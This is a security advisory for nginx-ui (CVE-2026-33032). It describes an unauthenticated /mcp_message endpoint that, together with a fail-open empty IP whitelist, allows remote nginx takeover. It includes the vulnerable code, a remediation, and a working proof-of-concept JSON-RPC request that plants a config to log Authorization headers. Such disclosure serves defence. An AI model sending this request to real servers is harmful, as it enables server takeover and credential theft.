github.com/0xJacky/Nginx-UI
Affected
- introduced
0, last affected1.99(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33032, GO-2026-4904
nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover
Summary
The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.
Details
Vulnerable Code
`mcp/router.go:9-17` - Auth asymmetry between endpoints
func InitRouter(r *gin.Engine) {
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
r.Any("/mcp_message", middleware.IPWhiteList(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
}
The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.
`internal/middleware/ip_whitelist.go:11-26` - Empty whitelist allows all
func IPWhiteList() gin.HandlerFunc {
return func(c *gin.Context) {
clientIP := c.ClientIP()
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}
// ...
}
}
When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.
Available MCP Tools (all invocable without auth)
From mcp/nginx/:
restart_nginx - restart the nginx processreload_nginx - reload nginx configurationnginx_status - read nginx statusFrom mcp/config/:
nginx_config_add - create new nginx config filesnginx_config_modify - modify existing config filesnginx_config_list - list all configurationsnginx_config_get - read config file contentsnginx_config_enable - enable/disable sitesnginx_config_rename - rename config filesnginx_config_mkdir - create directoriesnginx_config_history - view config historynginx_config_base_path - get nginx config directory pathAttack Scenario
http://target:9000/mcp_message (default port)nginx_config_modify with relative_path="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers)nginx_config_add auto-reloads nginx (config_add.go:74), or attacker calls reload_nginx directlyPoC
1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:
// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })
// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })
Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.
2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:
var AuthSettings = &Auth{
BanThresholdMinutes: 10,
MaxAttempts: 10,
// IPWhiteList is not initialized - defaults to nil/empty slice
}
And the middleware at internal/middleware/ip_whitelist.go:14 passes all requests when the list is empty:
if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
c.Next()
return
}
3. Config writes auto-reload nginx. From mcp/config/config_add.go:
err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload) // Line 74: immediate reload
4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "evil.conf",
"content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
"base_dir": "conf.d",
"overwrite": true,
"sync_node_ids": []
}
},
"id": 1
}
No Authorization header is needed. The config is written and nginx reloads immediately.
Impact
nginx_config_get, revealing backend topology, upstream servers, TLS certificate paths, and authentication headersaccess_log directives with custom log_format patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST APIRemediation
Add middleware.AuthRequired() to the /mcp_message route:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.
Critical Basis: The source's own band: CRITICAL
0, last affected 1.99 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0